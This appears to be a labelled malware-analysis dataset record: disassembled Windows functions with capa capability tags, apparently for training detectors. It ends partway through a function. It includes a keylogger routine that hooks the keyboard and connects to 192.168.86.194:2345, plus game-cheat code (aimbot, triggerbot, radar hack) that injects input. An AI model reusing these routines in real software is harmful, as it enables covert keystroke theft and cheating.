joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x452177
movzx edx, byte [rax]
test edx, edx
jne 0x452034
nop dword [rax]
test r8b, r8b
jne 0x452034
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x452047
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x452137
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x452125
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x452117
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x45209d
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x4520e0
mov eax, 1
cmp rax, rbx
ja 0x4520cb
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.00464b60
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x45210f
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x4520d3
mov rcx, r11
mov eax, r12d
jmp 0x4520a2
mov rcx, rbx
call fcn.00464aa0
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00464aa0
mov eax, r8d
mov rcx, rbx
call fcn.00464b60
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x45216d
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x452130
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x45204d
mov eax, edx
mov rcx, rbx
call fcn.00464aa0
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.00464aa0
nop
int3

Function at 0x4580e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x458195
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rdi
test byte [rax], al
lea rdx, [rax + 0x10]
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
mov rax, rdx
mov rbx, rsi
call fcn.00455e00
nop
test bl, bl
je 0x45818f
mov qword [rsp + 0x18], rax
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
lea rcx, [0x004581e0]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp], rcx
call fcn.004626a0
xorps xmm15, xmm15
mov r14, qword [0x01411bb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x18]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.004627c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.004580e0
Function at 0x4592a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45934f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x004593a0]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.004626a0
xorps xmm15, xmm15
mov r14, qword [0x01411bb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.004627c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.004592a0
Function at 0x140001100
Capabilities:
Connect socket
Initialize winsock library
Log keystrokes via application hook
Resolve dns

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov ecx, 0x202
lea rdx, [0x140005670]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x140005660], eax
test eax, eax
je 0x140001154
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001350
add rsp, 0x68
ret
xor eax, eax
mov dword [0x140005810], 1
xorps xmm0, xmm0
mov qword [0x140005808], rax
xorps xmm1, xmm1
mov dword [0x140005814], 6
lea r9, [0x140005668]
lea r8, [0x140005808]
lea rdx, str.2345
lea rcx, str.192.168.86.194
movdqu xmmword [0x140005818], xmm0
movdqu xmmword [0x140005828], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [0x140005660], eax
test eax, eax
je 0x1400011de
lea rcx, str.getaddrinfo_failed_with_error:__d_n
mov edx, eax
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001350
add rsp, 0x68
ret
mov rcx, qword [0x140005668]
mov qword [0x140005838], rcx
test rcx, rcx
je 0x140001280
mov rdx, rcx
mov rax, rcx
nop dword [rax + rax]
mov r8d, dword [rcx + 0xc]
mov ecx, dword [rax + 4]
mov edx, dword [rdx + 8]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140005078], rax
cmp rax, 0xffffffffffffffff
je 0x140001322
mov rdx, qword [0x140005838]
mov rcx, rax
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [0x140005660], eax
cmp eax, 0xffffffff
jne 0x140001279
mov rcx, qword [0x140005078]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, qword [0x140005838]
mov qword [0x140005078], 0xffffffffffffffff
mov rcx, qword [rax + 0x28]
mov qword [0x140005838], rcx
mov rdx, rcx
mov rax, rcx
test rcx, rcx
jne 0x140001200
mov rcx, qword [0x140005668]
mov qword [rsp + 0x60], rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
xor r9d, r9d
lea rdx, [0x140001070]
xor r8d, r8d
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x1400012ed
nop dword [rax]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jg 0x1400012c0
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x140005078]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001350
add rsp, 0x68
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.socket_failed_with_error:__ld_n
jmp 0x1400011ba
Function at 0x1400145f0
Capabilities:
Log keystrokes via polling

Disassembly:
push rsi
sub rsp, 0xa0
vmovaps xmmword [rsp + 0x90], xmm12
vmovaps xmmword [rsp + 0x80], xmm11
vmovaps xmmword [rsp + 0x70], xmm10
vmovaps xmmword [rsp + 0x60], xmm9
vmovaps xmmword [rsp + 0x50], xmm8
vmovaps xmmword [rsp + 0x40], xmm7
vmovaps xmmword [rsp + 0x30], xmm6
mov rsi, rcx
cmp byte [0x14021dbd0], 0
je 0x14001473b
mov eax, dword [0x14021dd80]
mov ecx, dword [0x1402263a0]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 0x28]
jg 0x14001477b
mov eax, dword [rsi + 0xc0]
cmp eax, dword [0x14018e518]
jbe 0x140014730
vmovss xmm6, dword [rsi + 0xc4]
vmovss xmm9, dword [rsi + 0xc8]
vmovss xmm7, dword [0x14021dd78]
vmovss xmm11, dword [0x14021dd7c]
vmovss xmm8, dword [rsi + 0x110]
vmovss xmm12, dword [0x14021d89c]
vmovss xmm10, dword [0x14021d8a0]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140014716
vmovss xmm0, dword [0x14011e560]
vmulss xmm1, xmm9, xmm0
vsubss xmm1, xmm1, xmm11
vmulss xmm1, xmm12, xmm1
vmulss xmm0, xmm6, xmm0
vsubss xmm0, xmm0, xmm7
vmulss xmm0, xmm10, xmm0
vmulss xmm2, xmm8, dword [str.X94_]
vmovss xmm3, dword [0x14011de30]
vdivss xmm2, xmm3, xmm2
vmulss xmm0, xmm0, xmm2
vcvttss2si r8d, xmm0
vmulss xmm0, xmm1, xmm2
vcvttss2si edx, xmm0
neg r8d
mov qword [rsp + 0x20], 0
mov ecx, 1
xor r9d, r9d
call qword [sym.imp.USER32.dll_mouse_event]
vmovsd xmm0, qword [rsi + 0xc4]
vmulps xmm0, xmm0, xmmword [0x14011de20]
vmovlps qword [0x14021dd78], xmm0
jmp 0x14001473b
mov qword [0x14021dd78], 0
mov rcx, rsi
vmovaps xmm6, xmmword [rsp + 0x30]
vmovaps xmm7, xmmword [rsp + 0x40]
vmovaps xmm8, xmmword [rsp + 0x50]
vmovaps xmm9, xmmword [rsp + 0x60]
vmovaps xmm10, xmmword [rsp + 0x70]
vmovaps xmm11, xmmword [rsp + 0x80]
vmovaps xmm12, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rsi
jmp fcn.1400138a0
lea rcx, [0x14021dd80]
call fcn.140118940
cmp dword [0x14021dd80], 0xffffffff
jne 0x14001465d
vxorps xmm0, xmm0, xmm0
vmovlps qword [0x14021dd78], xmm0
lea rcx, [0x14021dd80]
call fcn.1401188d4
jmp 0x14001465d
Function at 0x14001d3a0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
cmp byte [0x14021dca0], 0
je 0x14001d604
vmovss xmm0, dword [0x14011fe8c]
call fcn.140059230
vmovss xmm0, dword [0x14011ed54]
vmovlps qword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
xor edx, edx
call fcn.14004fbc0
lea rcx, str.Cheats_List
xor edx, edx
mov r8d, 0x20
call fcn.14004fbf0
cmp byte [0x14021db18], 0
je 0x14001d427
cmp byte [0x14021dd76], 0
jne 0x14001d41b
mov ecx, dword [0x14018e314]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14001d427
lea rcx, str.Aimbot__Toggle_
call fcn.14007e180
cmp byte [0x14021dd44], 0
je 0x14001d43c
lea rcx, str.Anti_Record
call fcn.14007e180
cmp byte [0x14021dc80], 0
je 0x14001d451
lea rcx, str.Bhop
call fcn.14007e180
cmp byte [0x14021dc90], 0
je 0x14001d466
lea rcx, str.Bomb_Timer
call fcn.14007e180
cmp byte [0x14021daa0], 0
je 0x14001d47b
lea rcx, str.Crosshair
call fcn.14007e180
cmp byte [0x14021e1bc], 0
je 0x14001d490
lea rcx, str.Enemy_Sensor
call fcn.14007e180
cmp byte [0x14018e2cb], 0
je 0x14001d4a5
lea rcx, [0x14011ff3c]
call fcn.14007e180
cmp byte [0x14021da50], 0
je 0x14001d4ba
lea rcx, str.External_Radar
call fcn.14007e180
cmp byte [0x14021dd30], 0
je 0x14001d4cf
lea rcx, str.Fake_Duck
call fcn.14007e180
cmp byte [0x14021dcb0], 0
je 0x14001d4e4
lea rcx, str.Fast_Stop
call fcn.14007e180
vxorps xmm0, xmm0, xmm0
vucomiss xmm0, dword [0x14021dc70]
je 0x14001d4fe
lea rcx, str.Flash_Immunity
call fcn.14007e180
cmp byte [0x14021dcc0], 0
je 0x14001d513
lea rcx, str.Force_Scope
call fcn.14007e180
cmp dword [0x14018e2f4], 0x5a
je 0x14001d528
lea rcx, str.Fov_Changer
call fcn.14007e180
cmp byte [0x14021d931], 0
je 0x14001d53d
lea rcx, str.Headshot_Line
call fcn.14007e180
cmp dword [0x14021dce0], 0
je 0x14001d552
lea rcx, str.HitSound
call fcn.14007e180
cmp byte [0x14021dcf0], 0
je 0x14001d567
lea rcx, str.Money_Service
call fcn.14007e180
cmp byte [0x14021e1bd], 0
je 0x14001d57c
lea rcx, str.No_Smoke
call fcn.14007e180
cmp byte [0x14021e1be], 0
je 0x14001d591
lea rcx, str.Radar_Hack
call fcn.14007e180
cmp byte [0x14021dbd0], 0
je 0x14001d5a6
lea rcx, [0x14011ffc3]
call fcn.14007e180
cmp byte [0x14021e1bf], 0
je 0x14001d5bb
lea rcx, str.Smoke_Color
call fcn.14007e180
cmp byte [0x14021dd74], 0
je 0x14001d5d0
lea rcx, str.Spec_List
call fcn.14007e180
cmp byte [0x14021dbf0], 0
je 0x14001d5ff
cmp byte [0x14021dc00], 0
jne 0x14001d5f3
mov ecx, dword [0x14021dc10]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14001d5ff
lea rcx, str.TriggerBot__Toggle_
call fcn.14007e180
call fcn.140055a60
nop
add rsp, 0x30
pop rbp
ret
Function at 0x14001df20
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp byte [0x14021dcb0], 0
je 0x14001e11c
mov ecx, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14001e11c
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14001e11c
mov ecx, 0x41
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14001dfc2
cmp byte [0x14021e190], 0
je 0x14001dfcc
mov rdi, qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor esi, esi
mov ecx, 0x44
xor edx, edx
call rdi
mov rbx, qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x44
mov edx, eax
mov r8d, 8
xor r9d, r9d
call rbx
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x44
xor edx, edx
call rdi
mov cl, 0x44
mov edx, eax
mov r8d, 2
xor r9d, r9d
call rbx
jmp 0x14001dfc5
mov sil, 1
mov byte [0x14021e190], sil
mov ecx, 0x44
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14001e032
cmp byte [0x14021e191], 0
je 0x14001e03c
mov rdi, qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor esi, esi
mov ecx, 0x41
xor edx, edx
call rdi
mov rbx, qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x41
mov edx, eax
mov r8d, 8
xor r9d, r9d
call rbx
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x41
xor edx, edx
call rdi
mov cl, 0x41
mov edx, eax
mov r8d, 2
xor r9d, r9d
call rbx
jmp 0x14001e035
mov sil, 1
mov byte [0x14021e191], sil
mov ecx, 0x57
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14001e0a2
cmp byte [0x14021e192], 0
je 0x14001e0ac
mov rdi, qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor esi, esi
mov ecx, 0x53
xor edx, edx
call rdi
mov rbx, qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x53
mov edx, eax
mov r8d, 8
xor r9d, r9d
call rbx
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x53
xor edx, edx
call rdi
mov cl, 0x53
mov edx, eax
mov r8d, 2
xor r9d, r9d
call rbx
jmp 0x14001e0a5
mov sil, 1
mov byte [0x14021e192], sil
mov ecx, 0x53
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14001e112
cmp byte [0x14021e193], 0
je 0x14001e11c
mov rdi, qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor esi, esi
mov ecx, 0x57
xor edx, edx
call rdi
mov rbx, qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x57
mov edx, eax
mov r8d, 8
xor r9d, r9d
call rbx
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x57
xor edx, edx
call rdi
mov cl, 0x57
mov edx, eax
mov r8d, 2
xor r9d, r9d
call rbx
jmp 0x14001e115
mov sil, 1
mov byte [0x14021e193], sil
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
Function at 0x14001e910
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
cmp byte [0x14021dc80], 0
je 0x14001e9c3
mov rdi, rcx
mov ecx, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov si, ax
mov edi, dword [rdi + 0x100]
lea rcx, [0x14021d0e0]
lea rdx, [rbp - 0xc]
call fcn.140021540
and edi, 1
test si, si
je 0x14001e988
test edi, edi
je 0x14001e988
mov qword [rbp - 0x18], 0x10
lea rcx, [rbp - 0x18]
call fcn.140011850
lea rcx, [0x14021d0e0]
mov edx, 0x10001
call fcn.1400214c0
jmp 0x14001e9c3
test si, si
je 0x14001e9a4
test edi, edi
jne 0x14001e9a4
lea rcx, [0x14021d0e0]
mov edx, 0x100
call fcn.1400214c0
jmp 0x14001e9c3
test si, si
jne 0x14001e9c3
cmp dword [rbp - 0xc], 0x10001
jne 0x14001e9c3
lea rcx, [0x14021d0e0]
mov edx, 0x100
call fcn.1400214c0
nop
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140021140
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x458
lea rbp, [rsp + 0x80]
vmovaps xmmword [rbp + 0x3c0], xmm6
mov rsi, rdx
mov dword [rbp - 0x78], 0x438
mov edx, dword [rcx + 0x10]
sub rsp, 0x20
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
lea rdx, [rbp - 0x78]
mov rcx, rax
call sub.KERNEL32.dll_Module32FirstW
add rsp, 0x20
lea r14, [rbp - 0x48]
movabs r13, 0x100000000
vxorps xmm6, xmm6, xmm6
mov rbx, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop word cs:[rax + rax]
cmp qword [rsi + 0x18], 0x10
mov r15, rsi
jb 0x1400211cd
mov r15, qword [rsi]
sub rsp, 0x20
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add rsp, 0x20
mov rcx, rax
shl rcx, 0x20
add rcx, r13
sar rcx, 0x1f
mov rax, rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.140118a40
sub rsp, rax
mov r12, rsp
mov byte [r12], 0
sub rsp, 0x40
vmovups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], r12
mov ecx, 3
xor edx, edx
mov r8, r14
mov r9d, 0xffffffff
call rbx
add rsp, 0x40
test eax, eax
mov ecx, 0
cmovne rcx, r12
sub rsp, 0x20
mov rdx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add rsp, 0x20
sub rsp, 0x20
test eax, eax
je 0x140021280
mov rcx, rdi
lea rdx, [rbp - 0x78]
call sub.KERNEL32.dll_Module32NextW
add rsp, 0x20
test eax, eax
jne 0x1400211c0
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
xor edi, edi
jmp 0x140021291
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov rdi, qword [rbp - 0x50]
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x1400212d3
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400212c6
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140021305
add rax, 0x28
mov rdx, rax
mov rcx, r8
sub rsp, 0x20
call fcn.140118890
add rsp, 0x20
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rax, rdi
vmovaps xmm6, xmmword [rbp + 0x3c0]
lea rsp, [rbp + 0x3d8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140027760
Capabilities:
Get disk information

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], 0xfffffffffffffffe
mov rsi, rcx
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea rcx, [0x140121785]
lea r9, [rbp + 0xbc]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rcx, [rbp - 0x40]
mov edx, 1
call fcn.14001e540
lea rcx, [rbp - 0x30]
mov edx, dword [rbp + 0xbc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rcx, [rbp - 0x40]
mov rdx, rsi
call fcn.14001e6f0
lea rdi, [rbp + 0x58]
mov rax, qword [rbp - 0x40]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rax - 0x40], rcx
mov rax, qword [rbp - 0x40]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0x98]
mov dword [rbp + rax - 0x44], ecx
lea rbx, [rbp - 0x28]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x28], rax
mov rcx, rbx
call fcn.140014e40
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
mov rax, rsi
add rsp, 0x148
pop rbx
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400278f0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x258
lea rbp, [rsp + 0x80]
vmovaps xmmword [rbp + 0x1c0], xmm6
mov rsi, rdx
mov dword [rbp - 0x78], 0x238
sub rsp, 0x20
mov ecx, 0xf
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
lea rdx, [rbp - 0x78]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
add rsp, 0x20
lea r14, [rbp - 0x4c]
movabs r12, 0x100000000
vxorps xmm6, xmm6, xmm6
mov r13, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop word cs:[rax + rax]
cmp qword [rsi + 0x18], 0x10
mov r15, rsi
jb 0x14002797d
mov r15, qword [rsi]
sub rsp, 0x20
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add rsp, 0x20
mov rcx, rax
shl rcx, 0x20
add rcx, r12
sar rcx, 0x1f
mov rax, rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.140118a40
sub rsp, rax
mov rbx, rsp
mov byte [rbx], 0
sub rsp, 0x40
vmovups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rbx
mov ecx, 3
xor edx, edx
mov r8, r14
mov r9d, 0xffffffff
call r13
add rsp, 0x40
test eax, eax
mov ecx, 0
cmovne rcx, rbx
sub rsp, 0x20
mov rdx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add rsp, 0x20
sub rsp, 0x20
test eax, eax
je 0x140027a2e
mov rcx, rdi
lea rdx, [rbp - 0x78]
call sub.KERNEL32.dll_Process32NextW
add rsp, 0x20
test eax, eax
jne 0x140027970
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
xor edi, edi
jmp 0x140027a3e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov edi, dword [rbp - 0x70]
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x140027a80
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140027a73
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140027ab1
add rax, 0x28
mov rdx, rax
mov rcx, r8
sub rsp, 0x20
call fcn.140118890
add rsp, 0x20
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov eax, edi
vmovaps xmm6, xmmword [rbp + 0x1c0]
lea rsp, [rbp + 0x1d8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400299a0
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov rax, qword [0x14021cc40]
xor rax, rsp
mov qword [rsp + 0x80], rax
cmp edx, 0xffffffff
je 0x140029acd
mov esi, edx
mov rdi, rcx
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x1400299fd
mov rax, qword [rdi + 0x58]
mov ecx, dword [rax]
test ecx, ecx
jle 0x1400299fd
dec ecx
mov dword [rax], ecx
mov rax, qword [rdi + 0x40]
mov rcx, qword [rax]
lea rdx, [rcx + 1]
mov qword [rax], rdx
mov byte [rcx], sil
jmp 0x140029b12
cmp qword [rdi + 0x80], 0
je 0x140029ad1
mov rax, qword [rdi + 0x18]
lea rcx, [rdi + 0x70]
cmp qword [rax], rcx
jne 0x140029a37
mov ecx, dword [rdi + 0x90]
mov rdx, qword [rdi + 0x88]
mov qword [rax], rdx
mov rax, qword [rdi + 0x38]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rdi + 0x50]
mov dword [rax], ecx
mov rcx, qword [rdi + 0x68]
test rcx, rcx
je 0x140029ad8
mov byte [rsp + 0x5f], sil
lea rax, [rsp + 0x80]
lea r9, [rsp + 0x60]
lea rdx, [rdi + 0x74]
mov r10, qword [rcx]
lea r8, [rsp + 0x48]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rax
lea r14, [rsp + 0x60]
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x5f]
mov r8, rbx
call qword [r10 + 0x38]
mov ebp, 0xffffffff
cmp eax, 2
jae 0x140029af1
mov r15, qword [rsp + 0x48]
sub r15, r14
je 0x140029abd
mov r9, qword [rdi + 0x80]
mov edx, 1
mov rcx, r14
mov r8, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r15, rax
jne 0x140029b10
mov byte [rdi + 0x71], 1
cmp qword [rsp + 0x50], rbx
mov eax, 0xffffffff
